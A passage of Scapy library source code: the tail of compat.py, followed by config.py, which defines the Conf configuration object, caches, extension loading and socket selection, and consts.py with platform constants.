https://mypy.readthedocs.io/en/stable/generics.html#declaring-decorators DecoratorCallable = TypeVar("DecoratorCallable", bound=Callable[..., Any]) # This is ugly, but we don't want to move raw() out of compat.py # and it makes it much clearer if TYPE_CHECKING: from scapy.packet import Packet def raw(x): # type: (Packet) -> bytes """ Builds a packet and returns its bytes representation. This function is and will always be cross-version compatible """ return bytes(x) def bytes_encode(x): # type: (Any) -> bytes """Ensure that the given object is bytes. If the parameter is a packet, raw() should be preferred. """ if isinstance(x, str): return x.encode() return bytes(x) def plain_str(x): # type: (Any) -> str """Convert basic byte objects to str""" if isinstance(x, bytes): return x.decode(errors="backslashreplace") return str(x) def chb(x): # type: (int) -> bytes """Same than chr() but encode as bytes.""" return struct.pack("!B", x) def orb(x): # type: (Union[int, str, bytes]) -> int """Return ord(x) when not already an int.""" if isinstance(x, int): return x return ord(x) def bytes_hex(x): # type: (AnyStr) -> bytes """Hexify a str or a bytes object""" return binascii.b2a_hex(bytes_encode(x)) def hex_bytes(x): # type: (AnyStr) -> bytes """De-hexify a str or a byte object""" return binascii.a2b_hex(bytes_encode(x)) def int_bytes(x, size): # type: (int, int) -> bytes """Convert an int to an arbitrary sized bytes string""" return x.to_bytes(size, byteorder='big') def bytes_int(x): # type: (bytes) -> int """Convert an arbitrary sized bytes string to an int""" return int.from_bytes(x, "big") def base64_bytes(x): # type: (AnyStr) -> bytes """Turn base64 into bytes""" return base64.decodebytes(bytes_encode(x)) def bytes_base64(x): # type: (AnyStr) -> bytes """Turn bytes into base64""" return base64.encodebytes(bytes_encode(x)).replace(b'\n', b'') ================================================ FILE: scapy/config.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Implementation of the configuration object. """ import atexit import copy import functools import os import pathlib import re import socket import sys import time import warnings from dataclasses import dataclass from enum import Enum import importlib import importlib.abc import importlib.util import scapy from scapy import VERSION from scapy.base_classes import BasePacket from scapy.consts import DARWIN, WINDOWS, LINUX, BSD, SOLARIS from scapy.error import ( log_loading, log_scapy, ScapyInvalidPlatformException, warning, ) from scapy.themes import ColorTheme, NoTheme, apply_ipython_style # Typing imports from typing import ( cast, Any, Callable, Dict, Iterator, List, NoReturn, Optional, Set, Tuple, Type, Union, overload, TYPE_CHECKING, ) from types import ModuleType from scapy.compat import DecoratorCallable if TYPE_CHECKING: # Do not import at runtime import scapy.as_resolvers from scapy.modules.nmap import NmapKnowledgeBase from scapy.packet import Packet from scapy.supersocket import SuperSocket # noqa: F401 import scapy.asn1.asn1 import scapy.asn1.mib ############ # Config # ############ class ConfClass(object): def configure(self, cnf): # type: (ConfClass) -> None self.__dict__ = cnf.__dict__.copy() def __repr__(self): # type: () -> str return str(self) def __str__(self): # type: () -> str s = "" dkeys = self.__class__.__dict__.copy() dkeys.update(self.__dict__) keys = sorted(dkeys) for i in keys: if i[0] != "_": r = repr(getattr(self, i)) r = " ".join(r.split()) wlen = 76 - max(len(i), 10) if len(r) > wlen: r = r[:wlen - 3] + "..." s += "%-10s = %s\n" % (i, r) return s[:-1] class Interceptor(object): def __init__(self, name, # type: str default, # type: Any hook, # type: Callable[..., Any] args=None, # type: Optional[List[Any]] kargs=None # type: Optional[Dict[str, Any]] ): # type: (...) -> None self.name = name self.intname = "_intercepted_%s" % name self.default = default self.hook = hook self.args = args if args is not None else [] self.kargs = kargs if kargs is not None else {} def __get__(self, obj, typ=None): # type: (Conf, Optional[type]) -> Any if not hasattr(obj, self.intname): setattr(obj, self.intname, self.default) return getattr(obj, self.intname) @staticmethod def set_from_hook(obj, name, val): # type: (Conf, str, bool) -> None int_name = "_intercepted_%s" % name setattr(obj, int_name, val) def __set__(self, obj, val): # type: (Conf, Any) -> None old = getattr(obj, self.intname, self.default) val = self.hook(self.name, val, old, *self.args, **self.kargs) setattr(obj, self.intname, val) def _readonly(name): # type: (str) -> NoReturn default = Conf.__dict__[name].default Interceptor.set_from_hook(conf, name, default) raise ValueError("Read-only value !") ReadOnlyAttribute = functools.partial( Interceptor, hook=(lambda name, *args, **kwargs: _readonly(name)) ) ReadOnlyAttribute.__doc__ = "Read-only class attribute" class ProgPath(ConfClass): _default: str = "" universal_open: str = "open" if DARWIN else "xdg-open" pdfreader: str = universal_open psreader: str = universal_open svgreader: str = universal_open dot: str = "dot" display: str = "display" tcpdump: str = "tcpdump" tcpreplay: str = "tcpreplay" hexedit: str = "hexer" tshark: str = "tshark" wireshark: str = "wireshark" ifconfig: str = "ifconfig" extcap_folders: List[str] = [ os.path.join(os.path.expanduser("~"), ".config", "wireshark", "extcap"), "/usr/lib/x86_64-linux-gnu/wireshark/extcap", ] class ConfigFieldList: def __init__(self): # type: () -> None self.fields = set() # type: Set[Any] self.layers = set() # type: Set[Any] @staticmethod def _is_field(f): # type: (Any) -> bool return hasattr(f, "owners") def _recalc_layer_list(self): # type: () -> None self.layers = {owner for f in self.fields for owner in f.owners} def add(self, *flds): # type: (*Any) -> None self.fields |= {f for f in flds if self._is_field(f)} self._recalc_layer_list() def remove(self, *flds): # type: (*Any) -> None self.fields -= set(flds) self._recalc_layer_list() def __contains__(self, elt): # type: (Any) -> bool if isinstance(elt, BasePacket): return elt in self.layers return elt in self.fields def __repr__(self): # type: () -> str return "<%s [%s]>" % (self.__class__.__name__, " ".join(str(x) for x in self.fields)) # noqa: E501 class Emphasize(ConfigFieldList): pass class Resolve(ConfigFieldList): pass class Num2Layer: def __init__(self): # type: () -> None self.num2layer = {} # type: Dict[int, Type[Packet]] self.layer2num = {} # type: Dict[Type[Packet], int] def register(self, num, layer): # type: (int, Type[Packet]) -> None self.register_num2layer(num, layer) self.register_layer2num(num, layer) def register_num2layer(self, num, layer): # type: (int, Type[Packet]) -> None self.num2layer[num] = layer def register_layer2num(self, num, layer): # type: (int, Type[Packet]) -> None self.layer2num[layer] = num @overload def __getitem__(self, item): # type: (Type[Packet]) -> int pass @overload def __getitem__(self, item): # noqa: F811 # type: (int) -> Type[Packet] pass def __getitem__(self, item): # noqa: F811 # type: (Union[int, Type[Packet]]) -> Union[int, Type[Packet]] if isinstance(item, int): return self.num2layer[item] else: return self.layer2num[item] def __contains__(self, item): # type: (Union[int, Type[Packet]]) -> bool if isinstance(item, int): return item in self.num2layer else: return item in self.layer2num def get(self, item, # type: Union[int, Type[Packet]] default=None, # type: Optional[Type[Packet]] ): # type: (...) -> Optional[Union[int, Type[Packet]]] return self[item] if item in self else default def __repr__(self): # type: () -> str lst = [] for num, layer in self.num2layer.items(): if layer in self.layer2num and self.layer2num[layer] == num: dir = "<->" else: dir = " ->" lst.append((num, "%#6x %s %-20s (%s)" % (num, dir, layer.__name__, layer._name))) for layer, num in self.layer2num.items(): if num not in self.num2layer or self.num2layer[num] != layer: lst.append((num, "%#6x <- %-20s (%s)" % (num, layer.__name__, layer._name))) lst.sort() return "\n".join(y for x, y in lst) class LayersList(List[Type['scapy.packet.Packet']]): def __init__(self): # type: () -> None list.__init__(self) self.ldict = {} # type: Dict[str, List[Type[Packet]]] self.filtered = False self._backup_dict = {} # type: Dict[Type[Packet], List[Tuple[Dict[str, Any], Type[Packet]]]] # noqa: E501 def __repr__(self): # type: () -> str return "\n".join("%-20s: %s" % (layer.__name__, layer.name) for layer in self) def register(self, layer): # type: (Type[Packet]) -> None self.append(layer) # Skip arch* modules if layer.__module__.startswith("scapy.arch."): return # Register in module if layer.__module__ not in self.ldict: self.ldict[layer.__module__] = [] self.ldict[layer.__module__].append(layer) def layers(self): # type: () -> List[Tuple[str, str]] result = [] # This import may feel useless, but it is required for the eval below import scapy # noqa: F401 try: import builtins # noqa: F401 except ImportError: import __builtin__ # noqa: F401 for lay in self.ldict: try: doc = eval(lay).__doc__ except AttributeError: continue result.append((lay, doc.strip().split("\n")[0] if doc else lay)) return result def filter(self, items): # type: (List[Type[Packet]]) -> None """Disable dissection of unused layers to speed up dissection""" if self.filtered: raise ValueError("Already filtered. Please disable it first") for lay in self.ldict.values(): for cls in lay: if cls not in self._backup_dict: self._backup_dict[cls] = cls.payload_guess[:] cls.payload_guess = [ y for y in cls.payload_guess if y[1] in items ] self.filtered = True def unfilter(self): # type: () -> None """Re-enable dissection for all layers""" if not self.filtered: raise ValueError("Not filtered. Please filter first") for lay in self.ldict.values(): for cls in lay: cls.payload_guess = self._backup_dict[cls] self._backup_dict.clear() self.filtered = False class CommandsList(List[Callable[..., Any]]): def __repr__(self): # type: () -> str s = [] for li in sorted(self, key=lambda x: x.__name__): doc = li.__doc__ if li.__doc__ else "--" doc = doc.lstrip().split('\n', 1)[0] s.append("%-22s: %s" % (li.__name__, doc)) return "\n".join(s) def register(self, cmd): # type: (DecoratorCallable) -> DecoratorCallable self.append(cmd) return cmd # return cmd so that method can be used as a decorator def lsc(): # type: () -> None """Displays Scapy's default commands""" print(repr(conf.commands)) class CacheInstance(Dict[str, Any]): __slots__ = ["timeout", "name", "_timetable"] def __init__(self, name="noname", timeout=None): # type: (str, Optional[int]) -> None self.timeout = timeout self.name = name self._timetable = {} # type: Dict[str, float] def flush(self): # type: () -> None self._timetable.clear() self.clear() def __getitem__(self, item): # type: (str) -> Any if item in self.__slots__: return object.__getattribute__(self, item) if not self.__contains__(item): raise KeyError(item) return super(CacheInstance, self).__getitem__(item) def __contains__(self, item): if not super(CacheInstance, self).__contains__(item): return False if self.timeout is not None: t = self._timetable[item] if time.time() - t > self.timeout: return False return True def get(self, item, default=None): # type: (str, Optional[Any]) -> Any # overloading this method is needed to force the dict to go through # the timetable check try: return self[item] except KeyError: return default def __setitem__(self, item, v): # type: (str, str) -> None if item in self.__slots__: return object.__setattr__(self, item, v) self._timetable[item] = time.time() super(CacheInstance, self).__setitem__(item, v) def update(self, other, # type: Any **kwargs # type: Any ): # type: (...) -> None for key, value in other.items(): # We only update an element from `other` either if it does # not exist in `self` or if the entry in `self` is older. if key not in self or self._timetable[key] < other._timetable[key]: dict.__setitem__(self, key, value) self._timetable[key] = other._timetable[key] def iteritems(self): # type: () -> Iterator[Tuple[str, Any]] if self.timeout is None: return super(CacheInstance, self).items() t0 = time.time() return ( (k, v) for (k, v) in super(CacheInstance, self).items() if t0 - self._timetable[k] < self.timeout ) def iterkeys(self): # type: () -> Iterator[str] if self.timeout is None: return super(CacheInstance, self).keys() t0 = time.time() return ( k for k in super(CacheInstance, self).keys() if t0 - self._timetable[k] < self.timeout ) def __iter__(self): # type: () -> Iterator[str] return self.iterkeys() def itervalues(self): # type: () -> Iterator[Tuple[str, Any]] if self.timeout is None: return super(CacheInstance, self).values() t0 = time.time() return ( v for (k, v) in super(CacheInstance, self).items() if t0 - self._timetable[k] < self.timeout ) def items(self): # type: () -> Any return list(self.iteritems()) def keys(self): # type: () -> Any return list(self.iterkeys()) def values(self): # type: () -> Any return list(self.itervalues()) def __len__(self): # type: () -> int if self.timeout is None: return super(CacheInstance, self).__len__() return len(self.keys()) def summary(self): # type: () -> str return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout) # noqa: E501 def __repr__(self): # type: () -> str s = [] if self: mk = max(len(k) for k in self) fmt = "%%-%is %%s" % (mk + 1) for item in self.items(): s.append(fmt % item) return "\n".join(s) def copy(self): # type: () -> CacheInstance return copy.copy(self) class NetCache: def __init__(self): # type: () -> None self._caches_list = [] # type: List[CacheInstance] def add_cache(self, cache): # type: (CacheInstance) -> None self._caches_list.append(cache) setattr(self, cache.name, cache) def new_cache(self, name, timeout=None): # type: (str, Optional[int]) -> CacheInstance c = CacheInstance(name=name, timeout=timeout) self.add_cache(c) return c def __delattr__(self, attr): # type: (str) -> NoReturn raise AttributeError("Cannot delete attributes") def update(self, other): # type: (NetCache) -> None for co in other._caches_list: if hasattr(self, co.name): getattr(self, co.name).update(co) else: self.add_cache(co.copy()) def flush(self): # type: () -> None for c in self._caches_list: c.flush() def __repr__(self): # type: () -> str return "\n".join(c.summary() for c in self._caches_list) class ScapyExt: __slots__ = ["specs", "name", "version", "bash_completions"] class MODE(Enum): LAYERS = "layers" CONTRIB = "contrib" MODULES = "modules" @dataclass class ScapyExtSpec: fullname: str mode: 'ScapyExt.MODE' spec: Any default: bool def __init__(self): self.specs: Dict[str, 'ScapyExt.ScapyExtSpec'] = {} self.bash_completions = {} def config(self, name, version): self.name = name self.version = version def register(self, name, mode, path, default=None): assert mode in self.MODE, "mode must be one of ScapyExt.MODE !" fullname = f"scapy.{mode.value}.{name}" spec = importlib.util.spec_from_file_location( fullname, str(path), ) spec = self.ScapyExtSpec( fullname=fullname, mode=mode, spec=spec, default=default or False, ) if default is None: spec.default = bool(importlib.util.find_spec(spec.fullname)) self.specs[fullname] = spec def register_bashcompletion(self, script: pathlib.Path): self.bash_completions[script.name] = script def __repr__(self): return "" % ( self.name, self.version, len(self.specs), ) class ExtsManager(importlib.abc.MetaPathFinder): __slots__ = ["exts", "all_specs"] GPLV2_LICENCES = [ "GPL-2.0-only", "GPL-2.0-or-later", ] def __init__(self): self.exts: List[ScapyExt] = [] self.all_specs: Dict[str, ScapyExt.ScapyExtSpec] = {} self._loaded: List[str] = [] # Add to meta_path as we are an import provider if self not in sys.meta_path: sys.meta_path.append(self) def find_spec(self, fullname, path, target=None): if fullname in self.all_specs: return self.all_specs[fullname].spec def invalidate_caches(self): pass def _register_spec(self, spec): # Register to known specs self.all_specs[spec.fullname] = spec # If default=True, inject it in the currently loaded modules if spec.default: loader = importlib.util.LazyLoader(spec.spec.loader) spec.spec.loader = loader module = importlib.util.module_from_spec(spec.spec) sys.modules[spec.fullname] = module loader.exec_module(module) def load(self, extension: str): """ Load a scapy extension. :param extension: the name of the extension, as installed. """ if extension in self._loaded: return try: import importlib.metadata except ImportError: log_loading.warning( "'%s' not loaded. " "Scapy extensions require at least Python 3.8+ !" % extension ) return # Get extension distribution try: distr = importlib.metadata.distribution(extension) except importlib.metadata.PackageNotFoundError: log_loading.warning("The extension '%s' was not found !" % extension) return # Check the classifiers if ( distr.metadata.get('License-Expression', None) not in self.GPLV2_LICENCES and distr.metadata.get('License', None) not in self.GPLV2_LICENCES ): log_loading.warning( "'%s' has no GPLv2 classifier therefore cannot be loaded." % extension ) return # Create the extension ext = ScapyExt() # Get the top-level declared "import packages" # HACK: not available nicely in importlib :/ packages = distr.read_text("top_level.txt").split() for package in packages: scapy_ext = importlib.import_module(package) # We initialize the plugin by calling it's 'scapy_ext' function try: scapy_ext_func = scapy_ext.scapy_ext except AttributeError: log_loading.warning( "'%s' does not look like a Scapy plugin !" % extension ) return try: scapy_ext_func(ext) except Exception as ex: log_loading.warning( "'%s' failed during initialization with %s" % ( extension, ex ) ) return # Register all the specs provided by this extension for spec in ext.specs.values(): self._register_spec(spec) # Add to the extension list self.exts.append(ext) self._loaded.append(extension) # If there are bash autocompletions, add them if ext.bash_completions: from scapy.main import _add_bash_autocompletion for name, script in ext.bash_completions.items(): _add_bash_autocompletion(name, script) def loadall(self) -> None: """ Load all extensions registered in conf. """ for extension in conf.load_extensions: self.load(extension) def __repr__(self): from scapy.utils import pretty_list return pretty_list( [ (x.name, x.version, [y.fullname for y in x.specs.values()]) for x in self.exts ], [("Name", "Version", "Specs")], sortBy=0, ) def _version_checker(module, minver): # type: (ModuleType, Tuple[int, ...]) -> bool """Checks that module has a higher version that minver. params: - module: a module to test - minver: a tuple of versions """ # We could use LooseVersion, but distutils imports imp which is deprecated version_regexp = r'[a-z]?((?:\d|\.)+\d+)(?:\.dev[0-9]+)?' version_tags_r = re.match( version_regexp, getattr(module, "__version__", "") ) if not version_tags_r: return False version_tags_i = version_tags_r.group(1).split(".") version_tags = tuple(int(x) for x in version_tags_i) return bool(version_tags >= minver) def isCryptographyValid(): # type: () -> bool """ Check if the cryptography module >= 2.0.0 is present. This is the minimum version for most usages in Scapy. """ # Check import try: import cryptography except ImportError: return False # Check minimum version return _version_checker(cryptography, (2, 0, 0)) def isCryptographyAdvanced(): # type: () -> bool """ Check if the cryptography module is present, and if it supports X25519, ChaCha20Poly1305 and such. Notes: - cryptography >= 2.0 is required - OpenSSL >= 1.1.0 is required """ try: from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey # noqa: E501 X25519PrivateKey.generate() except Exception: return False else: return True def isCryptographyBackendCompatible() -> bool: """ Check if the cryptography backend is compatible """ # Check for LibreSSL try: from cryptography.hazmat.backends import default_backend if "LibreSSL" in default_backend().openssl_version_text(): # BUG: LibreSSL - https://marc.info/?l=libressl&m=173846028619304&w=2 # It takes 5 whole minutes to import RFC3526's modp parameters. This is # not okay. return False return True except Exception: return True def isPyPy(): # type: () -> bool """Returns either scapy is running under PyPy or not""" try: import __pypy__ # noqa: F401 return True except ImportError: return False def _prompt_changer(attr, val, old): # type: (str, Any, Any) -> Any """Change the current prompt theme""" Interceptor.set_from_hook(conf, attr, val) try: sys.ps1 = conf.color_theme.prompt(conf.prompt) except Exception: pass try: apply_ipython_style( get_ipython() # type: ignore ) except NameError: pass return getattr(conf, attr, old) def _set_conf_sockets(): # type: () -> None """Populate the conf.L2Socket and conf.L3Socket according to the various use_* parameters """ if conf.use_bpf and not BSD: Interceptor.set_from_hook(conf, "use_bpf", False) raise ScapyInvalidPlatformException("BSD-like (OSX, *BSD...) only !") if not conf.use_pcap and SOLARIS: Interceptor.set_from_hook(conf, "use_pcap", True) raise ScapyInvalidPlatformException( "Scapy only supports libpcap on Solaris !" ) # we are already in an Interceptor hook, use Interceptor.set_from_hook if conf.use_pcap: try: from scapy.arch.libpcap import L2pcapListenSocket, L2pcapSocket, \ L3pcapSocket except (OSError, ImportError): log_loading.warning("No libpcap provider available ! pcap won't be used") Interceptor.set_from_hook(conf, "use_pcap", False) else: conf.L3socket = L3pcapSocket conf.L3socket6 = functools.partial( L3pcapSocket, filter="ip6") conf.L2socket = L2pcapSocket conf.L2listen = L2pcapListenSocket elif conf.use_bpf: from scapy.arch.bpf.supersocket import L2bpfListenSocket, \ L2bpfSocket, L3bpfSocket conf.L3socket = L3bpfSocket conf.L3socket6 = functools.partial( L3bpfSocket, filter="ip6") conf.L2socket = L2bpfSocket conf.L2listen = L2bpfListenSocket elif LINUX: from scapy.arch.linux import L3PacketSocket, L2Socket, L2ListenSocket conf.L3socket = L3PacketSocket conf.L3socket6 = cast( "Type[SuperSocket]", functools.partial( L3PacketSocket, filter="ip6" ) ) conf.L2socket = L2Socket conf.L2listen = L2ListenSocket elif WINDOWS: from scapy.arch.windows import _NotAvailableSocket from scapy.arch.windows.native import L3WinSocket, L3WinSocket6 conf.L3socket = L3WinSocket conf.L3socket6 = L3WinSocket6 conf.L2socket = _NotAvailableSocket conf.L2listen = _NotAvailableSocket else: from scapy.supersocket import L3RawSocket, L3RawSocket6 conf.L3socket = L3RawSocket conf.L3socket6 = L3RawSocket6 # Reload the interfaces conf.ifaces.reload() def _socket_changer(attr, val, old): # type: (str, bool, bool) -> Any if not isinstance(val, bool): raise TypeError("This argument should be a boolean") Interceptor.set_from_hook(conf, attr, val) dependencies = { # Things that will be turned off "use_pcap": ["use_bpf"], "use_bpf": ["use_pcap"], } restore = {k: getattr(conf, k) for k in dependencies} del restore[attr] # This is handled directly by _set_conf_sockets if val: # Only if True for param in dependencies[attr]: Interceptor.set_from_hook(conf, param, False) try: _set_conf_sockets() except (ScapyInvalidPlatformException, ImportError) as e: for key, value in restore.items(): Interceptor.set_from_hook(conf, key, value) if isinstance(e, ScapyInvalidPlatformException): raise return getattr(conf, attr) def _loglevel_changer(attr, val, old): # type: (str, int, int) -> int """Handle a change of conf.logLevel""" log_scapy.setLevel(val) return val def _iface_changer(attr, val, old): # type: (str, Any, Any) -> 'scapy.interfaces.NetworkInterface' """Resolves the interface in conf.iface""" if isinstance(val, str): from scapy.interfaces import resolve_iface iface = resolve_iface(val) if old and iface.dummy: warning( "This interface is not specified in any provider ! " "See conf.ifaces output" ) return iface return val def _reset_tls_nss_keys(attr, val, old): # type: (str, Any, Any) -> Any """Reset conf.tls_nss_keys when conf.tls_nss_filename changes""" conf.tls_nss_keys = None return val class Conf(ConfClass): """ This object contains the configuration of Scapy. """ version: str = ReadOnlyAttribute("version", VERSION) session: str = "" #: filename where the session will be saved interactive = False #: can be "ipython", "bpython", "ptpython", "ptipython", "python" or "auto". #: Default: Auto interactive_shell = "auto" #: Configuration for "ipython" to use jedi (disabled by default) ipython_use_jedi = False #: if 1, prevents any unwanted packet to go out (ARP, DNS, ...) stealth = "not implemented" #: selects the default output interface for srp() and sendp(). iface = Interceptor("iface", None, _iface_changer) # type: 'scapy.interfaces.NetworkInterface' # noqa: E501 layers: LayersList = LayersList() commands = CommandsList() # type: CommandsList #: Codec used by default for ASN1 objects ASN1_default_codec = None # type: 'scapy.asn1.asn1.ASN1Codec' #: Default size for ASN1 objects ASN1_default_long_size = 0 #: choose the AS resolver class to use AS_resolver = None # type: scapy.as_resolvers.AS_resolver dot15d4_protocol = None # Used in dot15d4.py logLevel: int = Interceptor("logLevel", log_scapy.level, _loglevel_changer) #: if 0, doesn't check that IPID matches between IP sent and #: ICMP IP citation received #: if 1, checks that they either are equal or byte swapped #: equals (bug in some IP stacks) #: if 2, strictly checks that they are equals checkIPID = False #: if 1, checks IP src in IP and ICMP IP citation match #: (bug in some NAT stacks) checkIPsrc = True checkIPaddr = True #: if True, checks that IP-in-IP layers match. If False, do #: not check IP layers that encapsulates another IP layer checkIPinIP = True #: if 1, also check that TCP seq and ack match the #: ones in ICMP citation check_TCPerror_seqack = False verb = 2 #: level of verbosity, from 0 (almost mute) to 3 (verbose) prompt: str = Interceptor("prompt", ">>> ", _prompt_changer) #: default mode for the promiscuous mode of a socket (to get answers if you #: spoof on a lan) sniff_promisc = True # type: bool raw_layer = None # type: Type[Packet] raw_summary = False # type: Union[bool, Callable[[bytes], Any]] padding_layer = None # type: Type[Packet] default_l2 = None # type: Type[Packet] l2types: Num2Layer = Num2Layer() l3types: Num2Layer = Num2Layer() L3socket = None # type: Type[scapy.supersocket.SuperSocket] L3socket6 = None # type: Type[scapy.supersocket.SuperSocket] L2socket = None # type: Type[scapy.supersocket.SuperSocket] L2listen = None # type: Type[scapy.supersocket.SuperSocket] BTsocket = None # type: Type[scapy.supersocket.SuperSocket] min_pkt_size = 60 #: holds MIB direct access dictionary mib = None # type: 'scapy.asn1.mib.MIBDict' bufsize = 2**16 #: history file histfile: str = os.getenv( 'SCAPY_HISTFILE', os.path.join( os.path.expanduser("~"), ".config", "scapy", "history" ) ) #: includes padding in disassembled packets padding = 1 #: BPF filter for packets to ignore except_filter = "" #: bpf filter added to every sniffing socket to exclude traffic #: from analysis filter = "" #: when 1, store received packet that are not matched into `debug.recv` debug_match = False #: When 1, print some TLS session secrets when they are computed, and #: warn about the session recognition. debug_tls = False wepkey = "" #: holds the Scapy interface list and manager ifaces = None # type: 'scapy.interfaces.NetworkInterfaceDict' #: holds the cache of interfaces loaded from Libpcap cache_pcapiflist = {} # type: Dict[str, Tuple[str, List[str], Any, str, int]] # `neighbor` will be filed by scapy.layers.l2 neighbor = None # type: 'scapy.layers.l2.Neighbor' #: holds the name servers IP/hosts used for custom DNS resolution nameservers = None # type: str #: automatically load IPv4 routes on startup. Disable this if your #: routing table is too big. route_autoload = True #: automatically load IPv6 routes on startup. Disable this if your #: routing table is too big. route6_autoload = True #: holds the Scapy IPv4 routing table and provides methods to #: manipulate it route = None # type: 'scapy.route.Route' # `route` will be filed by route.py #: holds the Scapy IPv6 routing table and provides methods to #: manipulate it route6 = None # type: 'scapy.route6.Route6' manufdb = None # type: 'scapy.data.ManufDA' ethertypes = None # type: 'scapy.data.EtherDA' protocols = None # type: 'scapy.dadict.DADict[int, str]' services_udp = None # type: 'scapy.dadict.DADict[int, str]' services_tcp = None # type: 'scapy.dadict.DADict[int, str]' services_sctp = None # type: 'scapy.dadict.DADict[int, str]' # 'route6' will be filed by route6.py teredoPrefix = "" # type: str teredoServerPort = None # type: int auto_fragment = True #: raise exception when a packet dissector raises an exception debug_dissector = False color_theme: ColorTheme = Interceptor("color_theme", NoTheme(), _prompt_changer) #: how much time between warnings from the same place warning_threshold = 5 prog: ProgPath = ProgPath() #: holds list of fields for which resolution should be done resolve: Resolve = Resolve() #: holds list of enum fields for which conversion to string #: should NOT be done noenum: Resolve = Resolve() emph: Emphasize = Emphasize() #: read only attribute to show if PyPy is in use use_pypy: bool = ReadOnlyAttribute("use_pypy", isPyPy()) #: use libpcap integration or not. Changing this value will update #: the conf.L[2/3] sockets use_pcap: bool = Interceptor( "use_pcap", os.getenv("SCAPY_USE_LIBPCAP", "").lower().startswith("y"), _socket_changer ) use_bpf: bool = Interceptor("use_bpf", False, _socket_changer) use_npcap = False ipv6_enabled: bool = socket.has_ipv6 stats_classic_protocols = [] # type: List[Type[Packet]] stats_dot11_protocols = [] # type: List[Type[Packet]] temp_files = [] # type: List[str] #: netcache holds time-based caches for net operations netcache: NetCache = NetCache() geoip_city = None #: Scapy extensions that are loaded automatically on load load_extensions: List[str] = [] # can, tls, http and a few others are not loaded by default load_layers: List[str] = [ 'bluetooth', 'bluetooth4LE', 'dcerpc', 'dhcp', 'dhcp6', 'dns', 'dot11', 'dot15d4', 'eap', 'gprs', 'gssapi', 'hsrp', 'inet', 'inet6', 'ipsec', 'ir', 'isakmp', 'kerberos', 'l2', 'l2tp', 'ldap', 'llmnr', 'lltd', 'mgcp', 'msrpce.rpcclient', 'msrpce.rpcserver', 'mobileip', 'netbios', 'netflow', 'ntlm', 'ntp', 'ppi', 'ppp', 'pptp', 'radius', 'rip', 'rtp', 'sctp', 'sixlowpan', 'skinny', 'smb', 'smb2', 'smbclient', 'smbserver', 'snmp', 'spnego', 'tftp', 'vrrp', 'vxlan', 'x509', 'zigbee' ] #: a dict which can be used by contrib layers to store local #: configuration contribs = dict() # type: Dict[str, Any] exts: ExtsManager = ExtsManager() crypto_valid = isCryptographyValid() crypto_valid_advanced = isCryptographyAdvanced() #: controls whether or not to display the fancy banner fancy_banner = True #: controls whether tables (conf.iface, conf.route...) should be cropped #: to fit the terminal auto_crop_tables = True #: how often to check for new packets. #: Defaults to 0.05s. recv_poll_rate = 0.05 #: When True, raise exception if no dst MAC found otherwise broadcast. #: Default is False. raise_no_dst_mac = False loopback_name: str = "lo" if LINUX else "lo0" nmap_base = "" # type: str nmap_kdb = None # type: Optional[NmapKnowledgeBase] #: a safety mechanism: the maximum amount of items included in a PacketListField #: or a FieldListField max_list_count = 100 #: When the TLS module is loaded (not by default), the following turns on sessions tls_session_enable = False #: Filename containing NSS Keys Log tls_nss_filename = Interceptor( "tls_nss_filename", None, _reset_tls_nss_keys ) #: Dictionary containing parsed NSS Keys tls_nss_keys: Dict[str, bytes] = None #: Whether to use NDR64 by default instead of NDR 32 ndr64: bool = True #: When TCPSession is used, parse DCE/RPC sessions automatically. #: This should be used for passive sniffing. dcerpc_session_enable = False #: If a capture is missing the first DCE/RPC binding message, we might incorrectly #: assume that header signing isn't used. This forces it on. dcerpc_force_header_signing = False #: Windows SSPs for sniffing. This is used with #: dcerpc_session_enable winssps_passive = [] #: Disables auto-stripping of StrFixedLenField for debugging purposes debug_strfixedlenfield = False def __getattribute__(self, attr): # type: (str) -> Any # Those are loaded on runtime to avoid import loops if attr == "manufdb": from scapy.data import MANUFDB return MANUFDB if attr == "ethertypes": from scapy.data import ETHER_TYPES return ETHER_TYPES if attr == "protocols": from scapy.data import IP_PROTOS return IP_PROTOS if attr == "services_udp": from scapy.data import UDP_SERVICES return UDP_SERVICES if attr == "services_tcp": from scapy.data import TCP_SERVICES return TCP_SERVICES if attr == "services_sctp": from scapy.data import SCTP_SERVICES return SCTP_SERVICES if attr == "iface6": warnings.warn( "conf.iface6 is deprecated in favor of conf.iface", DeprecationWarning ) attr = "iface" return object.__getattribute__(self, attr) if not Conf.ipv6_enabled: log_scapy.warning("IPv6 support disabled in Python. Cannot load Scapy IPv6 layers.") # noqa: E501 for m in ["inet6", "dhcp6", "sixlowpan"]: if m in Conf.load_layers: Conf.load_layers.remove(m) conf = Conf() # type: Conf if not isCryptographyBackendCompatible(): conf.crypto_valid = False conf.crypto_valid_advanced = False log_scapy.error( "Scapy does not support LibreSSL as a backend to cryptography ! " "See https://cryptography.io/en/latest/installation/#static-wheels " "for instructions on how to recompile cryptography with another " "backend." ) def crypto_validator(func): # type: (DecoratorCallable) -> DecoratorCallable """ This a decorator to be used for any method relying on the cryptography library. # noqa: E501 Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'. """ def func_in(*args, **kwargs): # type: (*Any, **Any) -> Any if not conf.crypto_valid: raise ImportError("Cannot execute crypto-related method! " "Please install python-cryptography v2.0 or later.") # noqa: E501 return func(*args, **kwargs) return func_in def scapy_delete_temp_files(): # type: () -> None for f in conf.temp_files: try: os.unlink(f) except Exception: pass del conf.temp_files[:] atexit.register(scapy_delete_temp_files) ================================================ FILE: scapy/consts.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ This file contains constants """ from sys import byteorder, platform, maxsize import platform as platform_lib __all__ = [ "LINUX", "OPENBSD", "FREEBSD", "NETBSD", "DARWIN", "SOLARIS", "WINDOWS", "WINDOWS_XP", "BSD", "IS_64BITS", "BIG_ENDIAN", ] LINUX = platform.startswith("linux") OPENBSD = platform.startswith("openbsd") FREEBSD = "freebsd" in platform NETBSD = platform.startswith("netbsd") DARWIN = platform.startswith("darwin") SOLARIS = platform.startswith("sunos") WINDOWS = platform.startswith("win32") WINDOWS_XP = platform_lib.release() == "XP" BSD = DARWIN or FREEBSD or OPENBSD or NETBSD # See https://docs.python.org/3/library/platform.html#cross-platform IS_64BITS = maxsize > 2**32 BIG_ENDIAN = byteorder == 'big' # LOOPBACK_NAME moved to conf.loopback_name ================================================ 